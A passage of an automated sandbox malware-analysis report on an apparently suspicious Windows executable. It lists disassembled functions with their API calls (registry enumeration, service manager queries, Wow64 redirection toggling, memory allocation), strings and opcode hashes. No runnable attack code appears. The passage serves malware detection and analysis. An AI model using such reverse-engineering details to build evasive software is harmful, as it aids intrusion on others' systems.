EnterCriticalSection.KERNEL32(00483560,?,00000000,?,?,00424775,00000010,?,00000000,?,?,?,00424B18,00424B65,004240C0,00424B1E), ref: 004250C2
InitializeCriticalSection.KERNEL32(00000000,?,00000000,?,?,00424775,00000010,?,00000000,?,?,?,00424B18,00424B65,004240C0,00424B1E), ref: 004250D4
LeaveCriticalSection.KERNEL32(00483560,?,00000000,?,?,00424775,00000010,?,00000000,?,?,?,00424B18,00424B65,004240C0,00424B1E), ref: 004250DD
EnterCriticalSection.KERNEL32(00000000,00000000,?,?,00424775,00000010,?,00000000,?,?,?,00424B18,00424B65,004240C0,00424B1E,0041F628), ref: 004250EF

Part of subcall function 00424FF4: GetVersion.KERNEL32(?,00425097,?,00424775,00000010,?,00000000,?,?,?,00424B18,00424B65,004240C0,00424B1E,0041F628,00423142), ref: 00425007

Strings

`5H, xrefs: 004250BC

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter$InitializeLeaveVersion
String ID: `5H
API String ID: 1193629340-1839208742
Opcode ID: 62c8944c4070f4069e1d09dfd2a62d2f5e61549c6a326c68c0a914035601cf46
Instruction ID: ea395221314fb38a99083d938b321e136b4e68da21b95970b742730734ef6adf
Opcode Fuzzy Hash: 62c8944c4070f4069e1d09dfd2a62d2f5e61549c6a326c68c0a914035601cf46
Instruction Fuzzy Hash: CBF04F7260121AEFC720AF58FC8495EB36DFB50716B81483BE60592011D739FA15CBED

Function 00424154 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetMenuCheckMarkDimensions.USER32 ref: 00424160
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 0042420F
LoadBitmapA.USER32(00000000,00007FE3), ref: 00424227

Strings

, xrefs: 0042416F

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu
String ID:
API String ID: 2596413745-3916222277
Opcode ID: d84b3269720aaf6160c0cb35a2c79061170d0c3e10f175b30bb8679f3e0ddbd3
Instruction ID: 3a5fb81b7295b8433c8f138c883756ee9d46ae8b9063e2a4cfff8cdc0d82262e
Opcode Fuzzy Hash: d84b3269720aaf6160c0cb35a2c79061170d0c3e10f175b30bb8679f3e0ddbd3
Instruction Fuzzy Hash: 0F213A71F00224BFEB10CF78DC89BAE7BB8EB84710F4541A6E505EB282D674DA45CB54

Function 00405282 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00405295
GetProcAddress.KERNEL32(004049B0,Wow64RevertWow64FsRedirection), ref: 004052C9

Strings

Wow64RevertWow64FsRedirection, xrefs: 004052BF
kernel32.dll, xrefs: 0040528E

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 1646373207-1355242751
Opcode ID: 0fc569d24da0e10d781b48b5ea7040ad9cec3cff2e71efb27846c4f9bf1e40db
Instruction ID: 3b1e7dad4775ee62708184d91bb4ea0cf359ecdf1026aafe77db154dc27b1875
Opcode Fuzzy Hash: 0fc569d24da0e10d781b48b5ea7040ad9cec3cff2e71efb27846c4f9bf1e40db
Instruction Fuzzy Hash: 8521B8B4E41308FBEF219F90DC06BDEBAB1EB08704F204469F614762D0D3BA66549F59

Function 00404F24 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00404863,00000000,00000000,00000000), ref: 00404F37
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00404F6B

Strings

Wow64DisableWow64FsRedirection, xrefs: 00404F61
kernel32.dll, xrefs: 00404F30

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 1646373207-3689287502
Opcode ID: e559d2b858460472722d4702ccb76b1e9980ae413130b60b97fdc674c79cdb56
Instruction ID: 2bd1b183999e22735be8718aa227a1ca7214b8eb3db30f35d5a226d58ecef685
Opcode Fuzzy Hash: e559d2b858460472722d4702ccb76b1e9980ae413130b60b97fdc674c79cdb56
Instruction Fuzzy Hash: 0921B8B4E81309BBEF219F90DC06B9DBAB1EB08714F204469F6147A2D0D3BA25549F5D

Function 0040509E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(advapi32.dll,?,?,?,?,?,?,?,?,?,?,?,?,00404919,00000000), ref: 004050B1
GetProcAddress.KERNEL32(00404919,RegDisableReflectionKey), ref: 004050E5

Strings

RegDisableReflectionKey, xrefs: 004050DB
advapi32.dll, xrefs: 004050AA

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: RegDisableReflectionKey$advapi32.dll
API String ID: 1646373207-3904739039
Opcode ID: a876eaf90b3b4d88dd436e2a78fea46b73c72d905a597741bde109afbf91deab
Instruction ID: 289f0fe8b24e2c88376880f8e0af255ab1d63e51bf0b72bd034cea29226715ca
Opcode Fuzzy Hash: a876eaf90b3b4d88dd436e2a78fea46b73c72d905a597741bde109afbf91deab
Instruction Fuzzy Hash: AA219874E41308BBEF219F90DD06BAEBAB1EB09714F204055F5103A2D0D3BA26549F59

Function 004231C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27stringCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(00000000,000000F0), ref: 004231D1
GetClassNameA.USER32(00000000,?,0000000A), ref: 004231EC
lstrcmpiA.KERNEL32(?,combobox), ref: 004231FB

Strings

combobox, xrefs: 004231F5

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: ClassLongNameWindowlstrcmpi
String ID: combobox
API String ID: 2054663530-2240613097
Opcode ID: 2f2f6f232a78c37f0ae0c1708b289ae6894ebf4687e66aeb740c5d05f2607c36
Instruction ID: 4ea528a82f93ffbc91dd3d1f4a6ea451798f545b9239c79da74a6045a1d01eb6
Opcode Fuzzy Hash: 2f2f6f232a78c37f0ae0c1708b289ae6894ebf4687e66aeb740c5d05f2607c36
Instruction Fuzzy Hash: 69E0E531744219FBCF10AF60EC09A993BB8E700302F508531B817D5190C638E655C658

Function 00411B30 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00412C06,00000008,?,004029F7,00000001,00000000,00000000,80000301), ref: 00411B39
HeapAlloc.KERNEL32(005B0000,00000008,80000301,00000000,00412C06,00000008,?,004029F7,00000001,00000000,00000000,80000301), ref: 00411B4D
MessageBoxA.USER32(00000000,00468978,error,00000010), ref: 00411B66

Strings

error, xrefs: 00411B5B

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Heap$AllocMessageProcess
String ID: error
API String ID: 445856604-1574812785
Opcode ID: 1745e8f589c070f6176e9a1430327df3ec6cb2eb9df97c893a731f3a52691537
Instruction ID: 75158d625f07edb35b9d28297431cbf5046eb94a9303968afd33a6ae2484e73e
Opcode Fuzzy Hash: 1745e8f589c070f6176e9a1430327df3ec6cb2eb9df97c893a731f3a52691537
Instruction Fuzzy Hash: 20E0D8B17802107BD7209B70BC0AFB73654AB04741B014129FA45E2350FA78BC508B5E

Function 0041987B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0041608F), ref: 00419880
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00419890

Strings

IsProcessorFeaturePresent, xrefs: 0041988A
KERNEL32, xrefs: 0041987B

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 697029dcdd3f99f4a1c96bb90e0c9f9cfc148b836673043ff476ce93ba2b87e2
Instruction ID: 1dbd5bddb81256210eacb8c6fbaeff8ef6b84fd473f6f31d376e420fbb55711d
Opcode Fuzzy Hash: 697029dcdd3f99f4a1c96bb90e0c9f9cfc148b836673043ff476ce93ba2b87e2
Instruction Fuzzy Hash: B1C01230368300AAEA202BB12C29B6726082B82B42F9040AAE009E0284CA58EC41842D

Function 004169DD Relevance: 6.5, APIs: 5, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c73c606c99b67da50bed7f7d130d18d8c3b09d7dd27559edc8b3d2432f5b3dd0
Instruction ID: 1a8ccb5ff57d1fbdda8fc81a0e6d7a066cf3f1b07a27e768378cf3e459af6963
Opcode Fuzzy Hash: c73c606c99b67da50bed7f7d130d18d8c3b09d7dd27559edc8b3d2432f5b3dd0
Instruction Fuzzy Hash: B2913B71D01114AACB21AF69DD40ADE7B78EF05364F22422BF855B6291E739DDC0CBAC

Function 00407A77 Relevance: 6.5, APIs: 4, Instructions: 497registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyA.ADVAPI32(00000000,00000000,?,00000000,?,?,?,00000000,?,?,?,?), ref: 00407C68
RegEnumValueA.ADVAPI32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00407D5D
RegEnumValueA.ADVAPI32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 00407E02
RegCloseKey.ADVAPI32(00000000), ref: 00407FCE

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: EnumValue$CloseInfoQuery
String ID:
API String ID: 224134890-0
Opcode ID: ea3e76387a4da1eeb85f4253795251fa9bf10f492641752f8e4b17262497123a
Instruction ID: e3041b83ed810da83c7cf2c7a5aec5117c43eacc9fdc6384d5d52e4e5bcebf30
Opcode Fuzzy Hash: ea3e76387a4da1eeb85f4253795251fa9bf10f492641752f8e4b17262497123a
Instruction Fuzzy Hash: 49022CB1E002099BEF00DFA4DC81BDEBBB4EF18314F14406AFA15F7391E679A9548B65

Function 0041B1DA Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,004698B8,004698B8,?,?,0041B6A6,00000000,00000010,00000000,00000009,00000009,?,0041679D,00000010,00000000), ref: 0041B1FB
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,0041B6A6,00000000,00000010,00000000,00000009,00000009,?,0041679D,00000010,00000000), ref: 0041B21F
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,0041B6A6,00000000,00000010,00000000,00000009,00000009,?,0041679D,00000010,00000000), ref: 0041B239
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,0041B6A6,00000000,00000010,00000000,00000009,00000009,?,0041679D,00000010,00000000,?), ref: 0041B2FA
HeapFree.KERNEL32(00000000,00000000,?,?,0041B6A6,00000000,00000010,00000000,00000009,00000009,?,0041679D,00000010,00000000,?,00000000), ref: 0041B311

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: 346b0160654d8855d2cfd8b45e91f1b8fc3b3e6bf0e87d5c3470f2eda03e28c4
Instruction ID: 05f78911bc129728b408b98ba8f82bb90fdbea86130b5e3865d51659d050ffdc
Opcode Fuzzy Hash: 346b0160654d8855d2cfd8b45e91f1b8fc3b3e6bf0e87d5c3470f2eda03e28c4
Instruction Fuzzy Hash: B5314470600706DFE7319F28DC45BA6B7E8EB46754F14823AE46597390E7B8AC84CB8D

Function 0041C705 Relevance: 6.1, APIs: 4, Instructions: 135fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,00000000,00000000,00000001,?,00000000), ref: 0041C7CC

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: b1a0894aeaa752bdb8b2c0d875c1d5c7af2aa2c2644f0d75346810354c07d798
Instruction ID: ce7e2b7d72f339ad9a1eea293071b07653c590b66c187e606d243636307858b4
Opcode Fuzzy Hash: b1a0894aeaa752bdb8b2c0d875c1d5c7af2aa2c2644f0d75346810354c07d798
Instruction Fuzzy Hash: CD516C71A40249EFCB11DF68CCC4AEE7BB4EF45340F2085AAE4259B291D774DA81CB69

Function 0040B3B4 Relevance: 6.1, APIs: 4, Instructions: 124serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040B3ED
GetServiceKeyNameA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040B432
GetServiceKeyNameA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040B4A1
CloseServiceHandle.ADVAPI32(00000000), ref: 0040B4D0

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$Name$CloseHandleManagerOpen
String ID:
API String ID: 36220719-0
Opcode ID: e9e3221ca29f2ecebfa29f0981d053f2734420ee9acc341b349ecc4ba699b6cd
Instruction ID: ed917e0b91100ded80a062b14e3667a6826d5128019a5ad3e31ec2e22ef923ee
Opcode Fuzzy Hash: e9e3221ca29f2ecebfa29f0981d053f2734420ee9acc341b349ecc4ba699b6cd
Instruction Fuzzy Hash: 11413E71E00309BBDB10DFA0DC86BAFB7B4EB09314F104066B614BA291D7795B54DB9A

Function 00414C60 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

kSA, xrefs: 00414C62, 00414C81

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID:
String ID: kSA
API String ID: 0-730759746
Opcode ID: 310966e606f40e80c6d38922b8439600aee3c2654c280586e5da3ddefce61a0f
Instruction ID: 1c7a1be12f427f6ab5f8f369794d062828af44314c3e0c54b08df60f1504c67d
Opcode Fuzzy Hash: 310966e606f40e80c6d38922b8439600aee3c2654c280586e5da3ddefce61a0f
Instruction Fuzzy Hash: A731C6727012058BDF18DF58EC80AB7B399EB90311B15856FE905CB245EB76DC90C798

Function 00423A1F Relevance: 6.1, APIs: 4, Instructions: 87windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00423B97: GetParent.USER32(?), ref: 00423BCA
Part of subcall function 00423B97: GetLastActivePopup.USER32(?), ref: 00423BD9
Part of subcall function 00423B97: IsWindowEnabled.USER32(?), ref: 00423BEE
Part of subcall function 00423B97: EnableWindow.USER32(?,00000000), ref: 00423C01

SendMessageA.USER32(?,00000376,00000000,00000000), ref: 00423A55
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,00000000), ref: 00423AC3
MessageBoxA.USER32(00000000,?,?,00000000), ref: 00423AD1
EnableWindow.USER32(00000000,00000001), ref: 00423AED

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Window$EnableMessage$ActiveEnabledFileLastModuleNameParentPopupSend
String ID:
API String ID: 1958756768-0
Opcode ID: 39c1b4aabfa9824dfb3dc27d47a085191516b380745402d880286a1b8e7da010
Instruction ID: 392b0091c0900ac68e18facb2d33bafd59356a6d8e3fef5aae23916e916bcc19
Opcode Fuzzy Hash: 39c1b4aabfa9824dfb3dc27d47a085191516b380745402d880286a1b8e7da010
Instruction Fuzzy Hash: 79219172B00128AFDB209F99EC81AAEB7B5FB44701F94043AF691E3290C77D9F418B54

Function 00415EE2 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 00415F08

Part of subcall function 00418BE3: HeapCreate.KERNELBASE(00000000,00001000,00000000,00415F40,00000001), ref: 00418BF4
Part of subcall function 00418BE3: HeapDestroy.KERNEL32 ref: 00418C33

GetCommandLineA.KERNEL32 ref: 00415F68
GetStartupInfoA.KERNEL32(?), ref: 00415F93
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00415FB6

Part of subcall function 0041600F: ExitProcess.KERNEL32 ref: 0041602C

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: fcb7f46f3ca25c161e86b9174e84bc8bee90f4cc5588d059c16f68f5eb6b9673
Instruction ID: 492b9bc318fed0b05aa9473bbdce9090dfe48df40bec41e3d9cdb187c26ada97
Opcode Fuzzy Hash: fcb7f46f3ca25c161e86b9174e84bc8bee90f4cc5588d059c16f68f5eb6b9673
Instruction Fuzzy Hash: 4621B4B0A04705DFD708AFA6DC06AED7BB8EF04B04F10442FF9049A291DF398581C759

Function 0042203C Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00422047
GetTopWindow.USER32(00000000), ref: 0042205A
